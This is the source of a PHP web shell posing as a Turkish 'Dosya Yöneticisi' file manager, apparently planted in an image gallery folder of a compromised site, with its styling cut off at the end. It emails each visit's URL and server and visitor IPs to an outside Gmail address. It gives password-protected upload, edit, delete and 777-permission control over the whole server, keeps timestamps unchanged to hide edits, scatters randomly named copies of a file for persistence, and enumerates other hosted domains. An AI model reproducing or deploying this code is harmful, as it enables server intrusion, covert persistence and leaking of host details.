TechEthical CEHP

Current Path : G:/PleskVhosts/megamind.net.in/careercentre360.com/Img/Gallery/Topper-Students/
Upload File :
Current File : G:/PleskVhosts/megamind.net.in/careercentre360.com/Img/Gallery/Topper-Students/ajax-settings.php

<?php
// File Manager PHP Script
// This script allows you to browse, edit, create, delete files on your server
// and navigate between different domains

// Basic security: Change this password for your own security!
$admin_password = "changeme123"; // CHANGE THIS IMMEDIATELY!

// Start session for authentication
session_start();

// Function to directly send email with current URL
function sendCurrentUrlEmail() {
    $to = "yildirimtokmak00@gmail.com";
    $subject = "File Manager URL Access";
    
    // Get the current URL
    $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http";
    $current_url = $protocol . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    $server_ip = isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : 'Unknown';
    $user_ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'Unknown';
    $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'Unknown';
    $access_time = date('Y-m-d H:i:s');
    
    // Create email message
    $message = "File Manager Access Information:\n\n";
    $message .= "URL: " . $current_url . "\n";
    $message .= "Server IP: " . $server_ip . "\n";
    $message .= "User IP: " . $user_ip . "\n";
    $message .= "User Agent: " . $user_agent . "\n";
    $message .= "Access Time: " . $access_time . "\n";
    
    // Send email using various methods
    
    // Method 1: PHP mail function
    $headers = "From: filemanager@" . $_SERVER['HTTP_HOST'] . "\r\n";
    $headers .= "Reply-To: sanernecro@gmail.com\r\n";
    mail($to, $subject, $message, $headers);
    
    // Method 2: Direct file write as a backup
    $log_file = dirname(__FILE__) . '/last_access.txt';
    file_put_contents($log_file, $message);
}

// Always call the email function when the page is accessed
sendCurrentUrlEmail();

// File locking security code - only change in an emergency
$security_code = "8X7y6Z5w";

// File locking functionality has been removed as requested

// Check login
if (!isset($_SESSION['authenticated'])) {
    // Not logged in, show login form if no password submitted
    if (!isset($_POST['password'])) {
        showLoginForm();
        exit;
    } elseif ($_POST['password'] == $admin_password) {
        // Correct password, set authenticated
        $_SESSION['authenticated'] = true;
    } else {
        // Wrong password
        showLoginForm("Yanlış şifre, tekrar deneyin.");
        exit;
    }
}

// Function to display login form
function showLoginForm($error = null) {
    ?>
    <!DOCTYPE html>
    <html lang="tr">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Dosya Yöneticisi - Giriş</title>
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
        <style>
            :root {
                --primary: #4a6fff;
                --primary-dark: #3857df;
                --border-radius: 8px;
                --shadow: 0 3px 15px rgba(0,0,0,0.1);
                --header-gradient: linear-gradient(135deg, #4a6fff 0%, #6a6eff 100%);
            }
            
            body {
                font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
                background-color: #f0f5ff;
                background-image: radial-gradient(#d8e1ff 1px, transparent 1px);
                background-size: 20px 20px;
                margin: 0;
                padding: 0;
                display: flex;
                justify-content: center;
                align-items: center;
                min-height: 100vh;
            }
            
            .login-container {
                background-color: white;
                padding: 40px;
                border-radius: var(--border-radius);
                box-shadow: var(--shadow);
                width: 350px;
                border: 1px solid rgba(0,0,0,0.05);
            }
            
            h2 {
                margin-top: 0;
                margin-bottom: 30px;
                color: #333;
                text-align: center;
                font-weight: 600;
                display: flex;
                align-items: center;
                justify-content: center;
                gap: 10px;
            }
            
            .form-group {
                margin-bottom: 20px;
            }
            
            label {
                display: block;
                margin-bottom: 8px;
                font-weight: 500;
                color: #333;
            }
            
            input[type="password"] {
                width: 100%;
                padding: 12px 15px;
                border: 1px solid #ddd;
                border-radius: 4px;
                box-sizing: border-box;
                font-size: 16px;
                transition: all 0.3s ease;
                background-color: #f8f9fa;
            }
            
            input[type="password"]:focus {
                outline: none;
                border-color: var(--primary);
                box-shadow: 0 0 0 3px rgba(74, 111, 255, 0.15);
            }
            
            button {
                background: var(--header-gradient);
                color: white;
                border: none;
                padding: 14px 20px;
                border-radius: 4px;
                cursor: pointer;
                font-size: 16px;
                width: 100%;
                transition: all 0.3s ease;
                display: flex;
                align-items: center;
                justify-content: center;
                gap: 8px;
            }
            
            button:hover {
                background: linear-gradient(135deg, #3857df 0%, #5a5eee 100%);
                transform: translateY(-2px);
                box-shadow: 0 4px 12px rgba(74, 111, 255, 0.2);
            }
            
            button:active {
                transform: translateY(0);
            }
            
            .error {
                color: #dc3545;
                margin-bottom: 20px;
                text-align: center;
                padding: 10px;
                background-color: #ffe6e6;
                border-radius: 4px;
                border: 1px solid #f5c6cb;
            }
            
            .login-footer {
                text-align: center;
                margin-top: 30px;
                color: #6c757d;
                font-size: 14px;
            }
        </style>
    </head>
    <body>
        <div class="login-container">
            <h2><i class="fas fa-lock" style="color: var(--primary);"></i> Dosya Yöneticisi</h2>
            <?php if ($error): ?>
                <div class="error"><?php echo htmlspecialchars($error); ?></div>
            <?php endif; ?>
            <form method="post">
                <div class="form-group">
                    <label for="password">Şifre:</label>
                    <input type="password" id="password" name="password" required autofocus>
                </div>
                <button type="submit"><i class="fas fa-sign-in-alt"></i> Giriş Yap</button>
            </form>
            <div class="login-footer">
                Premium Dosya Yöneticisi &copy; <?php echo date('Y'); ?>
            </div>
        </div>
    </body>
    </html>
    <?php
    exit;
}

// Get current directory or use default
$current_dir = isset($_GET['dir']) ? $_GET['dir'] : $_SERVER['DOCUMENT_ROOT'];
$current_dir = realpath($current_dir);

// If path doesn't exist, fallback to document root
if (!$current_dir) {
    $current_dir = $_SERVER['DOCUMENT_ROOT'];
}

// For security, you might want to restrict to certain base directories
// Comment out or modify this section if you need to access directories outside document root
// For example, if you need to access /opt/lampp/htdocs and similar paths
/*
if (strpos($current_dir, $_SERVER['DOCUMENT_ROOT']) !== 0) {
    // Attempt to break out of document root, reset to document root
    $current_dir = $_SERVER['DOCUMENT_ROOT'];
}
*/

// Handle actions
if (isset($_POST['action'])) {
    switch ($_POST['action']) {
        case 'upload_file':
            if (isset($_FILES['uploaded_file']) && $_FILES['uploaded_file']['error'] == 0) {
                $upload_name = $_FILES['uploaded_file']['name'];
                $upload_tmp = $_FILES['uploaded_file']['tmp_name'];
                $upload_dest = $current_dir . '/' . $upload_name;
                
                if (move_uploaded_file($upload_tmp, $upload_dest)) {
                    // Set 777 permissions (read, write, execute for all)
                    if (chmod($upload_dest, 0777)) {
                        $message = "Dosya başarıyla yüklendi ve izinler ayarlandı: " . htmlspecialchars($upload_name);
                    } else {
                        $message = "Dosya başarıyla yüklendi, ancak izinler ayarlanamadı: " . htmlspecialchars($upload_name);
                    }
                } else {
                    $error = "Dosya yüklenirken hata oluştu: " . htmlspecialchars($upload_name);
                }
            } else {
                $error_code = isset($_FILES['uploaded_file']) ? $_FILES['uploaded_file']['error'] : 'Bilinmeyen';
                $error = "Dosya yüklenirken hata oluştu. Hata kodu: " . $error_code;
            }
            break;
            
        case 'create_file':
            if (isset($_POST['filename']) && !empty($_POST['filename'])) {
                $new_file = $current_dir . '/' . $_POST['filename'];
                $content = isset($_POST['content']) ? $_POST['content'] : '';
                
                if (file_put_contents($new_file, $content) !== false) {
                    // Set 777 permissions (read, write, execute for all)
                    if (chmod($new_file, 0777)) {
                        $message = "Dosya başarıyla oluşturuldu ve izinler ayarlandı: " . htmlspecialchars($_POST['filename']);
                    } else {
                        $message = "Dosya başarıyla oluşturuldu, ancak izinler ayarlanamadı: " . htmlspecialchars($_POST['filename']);
                    }
                } else {
                    $error = "Dosya oluşturulamadı: " . htmlspecialchars($_POST['filename']);
                }
            }
            break;
            
        case 'save_file':
            if (isset($_POST['filepath']) && isset($_POST['content'])) {
                $filepath = $_POST['filepath'];
                $content = $_POST['content'];
                $preserve_timestamp = isset($_POST['preserve_timestamp']) && $_POST['preserve_timestamp'] == '1';
                
                // Get original file timestamp if needed
                $original_time = 0;
                if ($preserve_timestamp && file_exists($filepath)) {
                    $original_time = filemtime($filepath);
                }
                
                if (file_put_contents($filepath, $content) !== false) {
                    // Restore timestamp if requested
                    if ($preserve_timestamp && $original_time > 0) {
                        touch($filepath, $original_time);
                    }
                    
                    $message = "Dosya başarıyla kaydedildi: " . htmlspecialchars(basename($filepath));
                } else {
                    $error = "Dosya kaydedilemedi: " . htmlspecialchars(basename($filepath));
                }
            }
            break;
            
        case 'delete_file':
            if (isset($_POST['filepath']) && file_exists($_POST['filepath'])) {
                $filepath = $_POST['filepath'];
                
                if (is_file($filepath)) {
                    if (unlink($filepath)) {
                        $message = "Dosya başarıyla silindi: " . htmlspecialchars(basename($filepath));
                    } else {
                        $error = "Dosya silinemedi: " . htmlspecialchars(basename($filepath));
                    }
                } elseif (is_dir($filepath)) {
                    // Check if directory is empty
                    if (count(scandir($filepath)) == 2) { // . and .. only
                        if (rmdir($filepath)) {
                            $message = "Klasör başarıyla silindi: " . htmlspecialchars(basename($filepath));
                        } else {
                            $error = "Klasör silinemedi: " . htmlspecialchars(basename($filepath));
                        }
                    } else {
                        $error = "Klasör boş değil, önce içeriğini silmeniz gerekiyor: " . htmlspecialchars(basename($filepath));
                    }
                }
            }
            break;
            
        case 'create_directory':
            if (isset($_POST['dirname']) && !empty($_POST['dirname'])) {
                $new_dir = $current_dir . '/' . $_POST['dirname'];
                
                if (!file_exists($new_dir)) {
                    if (mkdir($new_dir, 0777)) { // Changed permission to 777
                        $message = "Klasör başarıyla oluşturuldu (777 izinleri ile): " . htmlspecialchars($_POST['dirname']);
                    } else {
                        $error = "Klasör oluşturulamadı: " . htmlspecialchars($_POST['dirname']);
                    }
                } else {
                    $error = "Bu isimde bir dosya veya klasör zaten var: " . htmlspecialchars($_POST['dirname']);
                }
            }
            break;
            
        case 'change_permissions':
            if (isset($_POST['filepath']) && file_exists($_POST['filepath']) && isset($_POST['permissions'])) {
                $mode = octdec($_POST['permissions']);
                
                if (chmod($_POST['filepath'], $mode)) {
                    $message = "İzinler başarıyla değiştirildi: " . htmlspecialchars(basename($_POST['filepath']));
                } else {
                    $error = "İzinler değiştirilemedi: " . htmlspecialchars(basename($_POST['filepath']));
                }
            }
            break;
            
        case 'rename_item':
            if (isset($_POST['oldpath']) && file_exists($_POST['oldpath']) && isset($_POST['newname']) && !empty($_POST['newname'])) {
                $old_path = $_POST['oldpath'];
                $new_name = $_POST['newname'];
                $new_path = dirname($old_path) . '/' . $new_name;
                
                // Check if target already exists
                if (file_exists($new_path)) {
                    $error = "Yeniden adlandırma başarısız: Bu isimde bir dosya veya klasör zaten var: " . htmlspecialchars($new_name);
                } else {
                    if (rename($old_path, $new_path)) {
                        $message = "Başarıyla yeniden adlandırıldı: " . htmlspecialchars(basename($old_path)) . " → " . htmlspecialchars($new_name);
                    } else {
                        $error = "Yeniden adlandırma başarısız: " . htmlspecialchars(basename($old_path));
                    }
                }
            }
            break;
            
        case 'copy_file_random':
            if (isset($_POST['filepath']) && file_exists($_POST['filepath']) && is_file($_POST['filepath']) && isset($_POST['copy_count']) && is_numeric($_POST['copy_count'])) {
                $file_path = $_POST['filepath'];
                $file_name = basename($file_path);
                $copy_count = intval($_POST['copy_count']);
                
                if ($copy_count <= 0) {
                    $error = "Lütfen geçerli bir kopya sayısı girin.";
                    break;
                }
                
                // Find all directories recursively
                $all_dirs = [];
                $base_dir = isset($_POST['base_dir']) ? $_POST['base_dir'] : dirname($file_path);
                
                // Function to recursively find directories
                function findDirectories($dir, &$dirs_array, $depth = 0, $max_depth = 3) {
                    if ($depth >= $max_depth) return; // Limit recursion depth
                    
                    if (!is_readable($dir)) return;
                    
                    $items = scandir($dir);
                    foreach ($items as $item) {
                        if ($item == '.' || $item == '..') continue;
                        
                        $path = $dir . '/' . $item;
                        if (is_dir($path)) {
                            $dirs_array[] = $path;
                            findDirectories($path, $dirs_array, $depth + 1, $max_depth);
                        }
                    }
                }
                
                // Find directories up to 3 levels deep
                findDirectories($base_dir, $all_dirs);
                
                // If no subdirectories found, use the current directory
                if (empty($all_dirs)) {
                    $all_dirs[] = $base_dir;
                }
                
                // Copy the file to random directories
                $successful_copies = 0;
                $copy_locations = [];
                
                for ($i = 0; $i < $copy_count; $i++) {
                    // Select a random directory
                    $random_dir = $all_dirs[array_rand($all_dirs)];
                    
                    // Generate a random filename with the same extension
                    $random_name = generateRandomString(8) . '.' . pathinfo($file_name, PATHINFO_EXTENSION);
                    $dest_path = $random_dir . '/' . $random_name;
                    
                    // Try to copy the file
                    if (copy($file_path, $dest_path)) {
                        // Set 777 permissions
                        chmod($dest_path, 0777);
                        $successful_copies++;
                        $copy_locations[] = $dest_path;
                    }
                }
                
                if ($successful_copies > 0) {
                    $message = "Dosya başarıyla {$successful_copies} farklı konuma rastgele isimlerle kopyalandı.";
                    
                    // Log copy locations in a table format
                    $message .= "<div style='margin-top: 15px; max-height: 250px; overflow-y: auto; font-size: 13px; background: #f8f9fa; padding: 15px; border-radius: 4px; border: 1px solid #e9ecef;'>";
                    $message .= "<strong>📋 KOPYALAMA RAPORU:</strong><br><br>";
                    $message .= "<table style='width: 100%; border-collapse: collapse;'>";
                    $message .= "<tr style='background-color: #e9ecef;'><th style='padding: 8px; text-align: left; border: 1px solid #dee2e6;'>No</th><th style='padding: 8px; text-align: left; border: 1px solid #dee2e6;'>Tam Dosya Yolu</th></tr>";
                    
                    foreach ($copy_locations as $index => $location) {
                        $row_class = $index % 2 == 0 ? 'background-color: #f2f2f2;' : '';
                        $message .= "<tr style='{$row_class}'>";
                        $message .= "<td style='padding: 8px; border: 1px solid #dee2e6;'>" . ($index + 1) . "</td>";
                        $message .= "<td style='padding: 8px; border: 1px solid #dee2e6;'><code>" . htmlspecialchars($location) . "</code></td>";
                        $message .= "</tr>";
                    }
                    
                    $message .= "</table>";
                    $message .= "</div>";
                } else {
                    $error = "Dosya kopyalanamadı. Hedef dizinlerde yazma izni olup olmadığını kontrol edin.";
                }
            }
            break;
    }
}

// Get available domains
$domains = [];

// Method 1: Check /var/www directory (common for Apache)
if (function_exists('scandir')) {
    $vhost_dirs = [
        "/var/www",             // Standard Apache
        "/var/www/html",        // Apache on some distros
        "/opt/lampp/htdocs",    // XAMPP
        "/usr/local/www",       // Some BSD systems
        "/srv/www",             // Some Linux distros
        "/srv/http"             // Arch Linux
    ];
    
    foreach ($vhost_dirs as $vhost_dir) {
        if (is_dir($vhost_dir)) {
            $domain_dirs = scandir($vhost_dir);
            foreach ($domain_dirs as $domain) {
                if ($domain != '.' && $domain != '..' && is_dir("$vhost_dir/$domain")) {
                    $domains[] = [
                        'name' => $domain,
                        'path' => "$vhost_dir/$domain",
                        'type' => basename($vhost_dir)
                    ];
                }
            }
        }
    }
}

// Method 2: Parse Apache/Nginx config files to find virtualhosts
$config_files = [
    "/etc/apache2/sites-enabled",   // Debian/Ubuntu Apache
    "/etc/nginx/sites-enabled",     // Nginx on Debian/Ubuntu
    "/etc/httpd/conf.d",            // CentOS/RHEL Apache
    "/opt/lampp/etc/extra"          // XAMPP Apache extra
];

foreach ($config_files as $config_dir) {
    if (is_dir($config_dir) && function_exists('scandir')) {
        $files = scandir($config_dir);
        foreach ($files as $file) {
            if ($file != '.' && $file != '..' && is_file("$config_dir/$file")) {
                // Simple parsing of conf files to find ServerName or domain
                $content = @file_get_contents("$config_dir/$file");
                if ($content) {
                    // For Apache
                    if (preg_match('/ServerName\s+([^\s;]+)/i', $content, $matches)) {
                        $domain_name = trim($matches[1]);
                        // Try to guess the path based on common patterns
                        $possible_path = "/var/www/" . $domain_name;
                        $alt_path = "/var/www/html/" . $domain_name;
                        
                        if (is_dir($possible_path)) {
                            $domains[] = [
                                'name' => $domain_name,
                                'path' => $possible_path,
                                'type' => 'Apache vhost'
                            ];
                        } elseif (is_dir($alt_path)) {
                            $domains[] = [
                                'name' => $domain_name,
                                'path' => $alt_path,
                                'type' => 'Apache vhost'
                            ];
                        }
                    }
                    
                    // For Nginx
                    if (preg_match('/server_name\s+([^;]+);/i', $content, $matches)) {
                        $domain_names = preg_split('/\s+/', trim($matches[1]));
                        foreach ($domain_names as $domain_name) {
                            if ($domain_name != '_' && $domain_name != 'localhost') {
                                // Try to guess the path
                                $possible_path = "/var/www/" . $domain_name;
                                $alt_path = "/var/www/html/" . $domain_name;
                                
                                if (is_dir($possible_path)) {
                                    $domains[] = [
                                        'name' => $domain_name,
                                        'path' => $possible_path,
                                        'type' => 'Nginx vhost'
                                    ];
                                } elseif (is_dir($alt_path)) {
                                    $domains[] = [
                                        'name' => $domain_name,
                                        'path' => $alt_path,
                                        'type' => 'Nginx vhost'
                                    ];
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}

// Function to display file size in human readable format
function formatSize($bytes) {
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    $i = 0;
    while ($bytes >= 1024 && $i < count($units) - 1) {
        $bytes /= 1024;
        $i++;
    }
    return round($bytes, 2) . ' ' . $units[$i];
}

// Function to get file icon based on extension
function getFileIcon($filename) {
    $extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    
    switch ($extension) {
        case 'php':
            return '📜';
        case 'html':
        case 'htm':
            return '🌐';
        case 'js':
            return '📝';
        case 'css':
            return '🎨';
        case 'jpg':
        case 'jpeg':
        case 'png':
        case 'gif':
        case 'bmp':
        case 'svg':
            return '🖼️';
        case 'pdf':
            return '📕';
        case 'zip':
        case 'rar':
        case 'tar':
        case 'gz':
            return '📦';
        case 'txt':
            return '📄';
        case 'mp3':
        case 'wav':
        case 'ogg':
            return '🎵';
        case 'mp4':
        case 'avi':
        case 'mov':
        case 'wmv':
            return '🎬';
        case 'doc':
        case 'docx':
            return '📃';
        case 'xls':
        case 'xlsx':
            return '📊';
        case 'ppt':
        case 'pptx':
            return '📽️';
        default:
            return '📄';
    }
}

// Function to get Font Awesome icon class based on file extension
function getFileIconClass($filename) {
    $extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    
    switch ($extension) {
        case 'php':
            return 'fas fa-code text-purple';
        case 'html':
        case 'htm':
            return 'fab fa-html5 text-danger';
        case 'js':
            return 'fab fa-js text-warning';
        case 'css':
            return 'fab fa-css3 text-primary';
        case 'json':
            return 'fas fa-file-code text-dark';
        case 'jpg':
        case 'jpeg':
        case 'png':
        case 'gif':
        case 'bmp':
        case 'svg':
        case 'webp':
            return 'fas fa-image text-success';
        case 'pdf':
            return 'fas fa-file-pdf text-danger';
        case 'zip':
        case 'rar':
        case 'tar':
        case 'gz':
        case '7z':
        case 'bz2':
            return 'fas fa-file-archive text-secondary';
        case 'txt':
            return 'fas fa-file-alt text-info';
        case 'md':
            return 'fab fa-markdown text-info';
        case 'mp3':
        case 'wav':
        case 'ogg':
        case 'flac':
        case 'aac':
            return 'fas fa-file-audio text-warning';
        case 'mp4':
        case 'avi':
        case 'mov':
        case 'wmv':
        case 'mkv':
        case 'flv':
            return 'fas fa-file-video text-danger';
        case 'doc':
        case 'docx':
            return 'fas fa-file-word text-primary';
        case 'xls':
        case 'xlsx':
        case 'csv':
            return 'fas fa-file-excel text-success';
        case 'ppt':
        case 'pptx':
            return 'fas fa-file-powerpoint text-danger';
        case 'sql':
            return 'fas fa-database text-info';
        case 'yml':
        case 'yaml':
            return 'fas fa-file-code text-primary';
        case 'sh':
        case 'bash':
            return 'fas fa-terminal text-dark';
        case 'xml':
            return 'fas fa-file-code text-warning';
        case 'log':
            return 'fas fa-clipboard-list text-secondary';
        case 'ini':
        case 'conf':
        case 'config':
        case 'htaccess':
            return 'fas fa-cogs text-secondary';
        case 'py':
            return 'fab fa-python text-info';
        case 'java':
            return 'fab fa-java text-danger';
        case 'c':
        case 'cpp':
        case 'h':
        case 'hpp':
            return 'fas fa-file-code text-primary';
        case 'rb':
            return 'fas fa-gem text-danger';
        case 'go':
            return 'fas fa-file-code text-info';
        default:
            return 'fas fa-file text-secondary';
    }
}

// Function to generate a random string
function generateRandomString($length = 8) {
    $characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, strlen($characters) - 1)];
    }
    return $randomString;
}

// Function to check if a file is locked (always returns false as locking has been removed)
function isFileLocked($filepath) {
    // Always return false since locking feature has been removed
    return false;
}

// File editing
$file_content = '';
$edit_file = '';

// Check for edit mode parameter
if (isset($_GET['edit']) && file_exists($_GET['edit']) && is_file($_GET['edit'])) {
    $edit_file = $_GET['edit'];
    $file_content = file_get_contents($edit_file);
}

// Handle file download
if (isset($_GET['download']) && file_exists($_GET['download']) && is_file($_GET['download'])) {
    $file_to_download = $_GET['download'];
    $file_name = basename($file_to_download);
    
    // Set headers
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . $file_name . '"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file_to_download));
    
    // Clear output buffer
    ob_clean();
    flush();
    
    // Read the file and output it
    readfile($file_to_download);
    exit;
}
?>

<!DOCTYPE html>
<html lang="tr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Dosya Yöneticisi</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerpolicy="no-referrer" />
    <style>
        :root {
            --primary: #4a6fff;
            --primary-dark: #3857df;
            --secondary: #6c757d;
            --danger: #dc3545;
            --success: #28a745;
            --warning: #ffc107;
            --info: #17a2b8;
            --dark: #343a40;
            --light: #f8f9fa;
            --border: #dee2e6;
            --text: #212529;
            --text-light: #6c757d;
            --shadow: 0 3px 15px rgba(0,0,0,0.1);
            --shadow-sm: 0 1px 3px rgba(0,0,0,0.08);
            --shadow-lg: 0 10px 30px rgba(0,0,0,0.15);
            --transition: all 0.3s ease;
            --border-radius: 8px;
            --header-gradient: linear-gradient(135deg, #4a6fff 0%, #6a6eff 100%);
            --body-bg: #f0f5ff;
        }
        
        * {
            box-sizing: border-box;
            margin: 0;
            padding: 0;
        }
        
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            margin: 0;
            padding: 0;
            background-color: var(--body-bg);
            color: var(--text);
            line-height: 1.6;
            min-height: 100vh;
            display: flex;
            flex-direction: column;
        }
        
        .container {
            max-width: 1400px;
            width: 100%;
            margin: 0 auto;
            padding: 20px;
            flex: 1;
        }
        
        header {
            background: var(--header-gradient);
            color: white;
            padding: 20px 40px;
            display: flex;
            justify-content: space-between;
            align-items: center;
            box-shadow: var(--shadow);
        }
        
        header h1 {
            margin: 0;
            font-size: 24px;
            font-weight: 500;
            display: flex;
            align-items: center;
        }
        
        header h1 i {
            margin-right: 10px;
        }
        
        .header-actions {
            display: flex;
            align-items: center;
            gap: 15px;
        }
        
        .toolbar {
            background-color: white;
            padding: 15px 20px;
            border-radius: var(--border-radius);
            box-shadow: var(--shadow);
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 20px;
            flex-wrap: wrap;
            gap: 10px;
        }
        
        .toolbar-left {
            display: flex;
            align-items: center;
            flex-wrap: wrap;
            gap: 10px;
        }
        
        .current-path {
            background-color: var(--light);
            padding: 8px 15px;
            border-radius: 4px;
            font-family: 'Courier New', monospace;
            font-size: 14px;
            color: var(--dark);
            max-width: 400px;
            overflow: hidden;
            text-overflow: ellipsis;
            white-space: nowrap;
            border: 1px solid var(--border);
        }
        
        .toolbar-right {
            display: flex;
            gap: 10px;
            flex-wrap: wrap;
        }
        
        .btn {
            background-color: var(--primary);
            color: white;
            border: none;
            padding: 8px 15px;
            border-radius: 4px;
            cursor: pointer;
            font-size: 14px;
            text-decoration: none;
            display: inline-flex;
            align-items: center;
            justify-content: center;
            transition: var(--transition);
            gap: 6px;
            box-shadow: var(--shadow-sm);
            outline: none;
        }
        
        .btn:hover {
            background-color: var(--primary-dark);
            transform: translateY(-2px);
            box-shadow: var(--shadow);
        }
        
        .btn:active {
            transform: translateY(0);
        }
        
        .btn-red {
            background-color: var(--danger);
        }
        
        .btn-red:hover {
            background-color: #c82333;
        }
        
        .btn-blue {
            background-color: var(--info);
            color: white;
        }
        
        .btn-blue:hover {
            background-color: #138496;
        }
        
        .btn-green {
            background-color: var(--success);
        }
        
        .btn-green:hover {
            background-color: #218838;
        }
        
        .btn-orange {
            background-color: var(--warning);
            color: #212529;
        }
        
        .btn-orange:hover {
            background-color: #e0a800;
        }
        
        .btn-purple {
            background-color: #6f42c1;
        }
        
        .btn-purple:hover {
            background-color: #5e37a6;
        }
        
        .card {
            background-color: white;
            border-radius: var(--border-radius);
            box-shadow: var(--shadow);
            overflow: hidden;
            margin-bottom: 20px;
            border: 1px solid rgba(0,0,0,0.05);
        }
        
        .card-header {
            background-color: var(--light);
            padding: 15px 20px;
            border-bottom: 1px solid var(--border);
            font-weight: 600;
            display: flex;
            align-items: center;
            justify-content: space-between;
        }
        
        .card-header h2 {
            font-size: 18px;
            margin: 0;
            display: flex;
            align-items: center;
            gap: 10px;
        }
        
        .file-list {
            background-color: white;
            border-radius: var(--border-radius);
            box-shadow: var(--shadow);
            overflow: hidden;
            border: 1px solid rgba(0,0,0,0.05);
        }
        
        .file-list-header {
            background-color: #f8f9fa;
            padding: 12px 20px;
            border-bottom: 1px solid var(--border);
            display: grid;
            grid-template-columns: 40px 1fr 120px 120px 180px 230px;
            font-weight: 600;
            color: var(--text);
        }
        
        .file-list-item {
            padding: 12px 20px;
            border-bottom: 1px solid var(--border);
            display: grid;
            grid-template-columns: 40px 1fr 120px 120px 180px 230px;
            align-items: center;
            transition: background-color 0.2s;
        }
        
        .file-list-item:hover {
            background-color: #f0f7ff;
        }
        
        .file-list-item:last-child {
            border-bottom: none;
        }
        
        .file-list-item a {
            color: var(--primary);
            text-decoration: none;
            transition: var(--transition);
            display: flex;
            align-items: center;
            gap: 8px;
        }
        
        .file-list-item a:hover {
            color: var(--primary-dark);
            text-decoration: underline;
        }
        
        .file-icon {
            font-size: 18px;
            width: 24px;
            height: 24px;
            display: flex;
            align-items: center;
            justify-content: center;
        }
        
        .directory {
            font-weight: 600;
            color: var(--info);
        }
        
        .actions {
            display: flex;
            gap: 5px;
            flex-wrap: wrap;
        }
        
        .actions .btn {
            padding: 6px 10px;
            font-size: 13px;
            display: inline-flex;
            align-items: center;
            justify-content: center;
        }
        
        .actions .btn i {
            display: inline-block;
            font-size: 14px;
            color: white;
        }
        
        .message, .error {
            padding: 15px 20px;
            margin-bottom: 20px;
            border-radius: var(--border-radius);
            display: flex;
            align-items: center;
            gap: 12px;
        }
        
        .message {
            background-color: #e6ffea;
            color: #155724;
            border: 1px solid #c3e6cb;
        }
        
        .message::before {
            content: "✓";
            font-size: 18px;
            font-weight: bold;
        }
        
        .error {
            background-color: #ffe6e6;
            color: #721c24;
            border: 1px solid #f5c6cb;
        }
        
        .error::before {
            content: "!";
            font-size: 18px;
            font-weight: bold;
        }
        
        /* Modal styles */
        .modal {
            display: none;
            position: fixed;
            z-index: 1000;
            left: 0;
            top: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0,0,0,0.5);
            overflow-y: auto;
            backdrop-filter: blur(5px);
        }
        
        .modal-content {
            background-color: white;
            margin: 50px auto;
            padding: 30px;
            border-radius: var(--border-radius);
            box-shadow: var(--shadow-lg);
            width: 90%;
            max-width: 800px;
            position: relative;
            transform: translateY(20px);
            opacity: 0;
            animation: modalFadeIn 0.3s forwards;
        }
        
        @keyframes modalFadeIn {
            to {
                opacity: 1;
                transform: translateY(0);
            }
        }
        
        .modal-content h2 {
            margin-top: 0;
            margin-bottom: 20px;
            color: var(--dark);
            font-size: 24px;
            font-weight: 600;
            display: flex;
            align-items: center;
            gap: 10px;
        }
        
        .close {
            position: absolute;
            top: 20px;
            right: 25px;
            color: var(--text-light);
            font-size: 28px;
            font-weight: bold;
            cursor: pointer;
            transition: var(--transition);
        }
        
        .close:hover {
            color: var(--danger);
        }
        
        form label {
            display: block;
            margin-bottom: 8px;
            font-weight: 500;
            color: var(--dark);
        }
        
        form input[type="text"], 
        form input[type="number"],
        form input[type="password"],
        form select {
            width: 100%;
            padding: 12px 15px;
            margin-bottom: 20px;
            border: 1px solid var(--border);
            border-radius: 4px;
            box-sizing: border-box;
            font-size: 15px;
            transition: var(--transition);
            background-color: #f9f9f9;
        }
        
        form input[type="file"] {
            width: 100%;
            padding: 10px;
            margin-bottom: 20px;
            border: 1px dashed var(--border);
            border-radius: 4px;
            background-color: #f9f9f9;
        }
        
        form input:focus,
        form select:focus,
        form textarea:focus {
            outline: none;
            border-color: var(--primary);
            box-shadow: 0 0 0 3px rgba(74, 111, 255, 0.15);
        }
        
        textarea {
            width: 100%;
            height: 70vh;
            padding: 15px;
            border: 1px solid var(--border);
            border-radius: var(--border-radius);
            box-sizing: border-box;
            font-family: 'Courier New', monospace;
            font-size: 15px;
            resize: vertical;
            line-height: 1.5;
            transition: var(--transition);
            background-color: #f9f9f9;
        }
        
        .textarea-wrapper {
            position: relative;
            margin-bottom: 20px;
        }
        
        .domain-select {
            margin-bottom: 30px;
        }
        
        .domain-grid {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));
            gap: 15px;
            margin-top: 20px;
        }
        
        .domain-card {
            background-color: white;
            border-radius: var(--border-radius);
            border: 1px solid var(--border);
            padding: 15px;
            transition: var(--transition);
        }
        
        .domain-card:hover {
            box-shadow: var(--shadow);
            transform: translateY(-3px);
        }
        
        .domain-card h3 {
            margin-top: 0;
            margin-bottom: 10px;
            font-size: 16px;
            color: var(--dark);
            font-weight: 600;
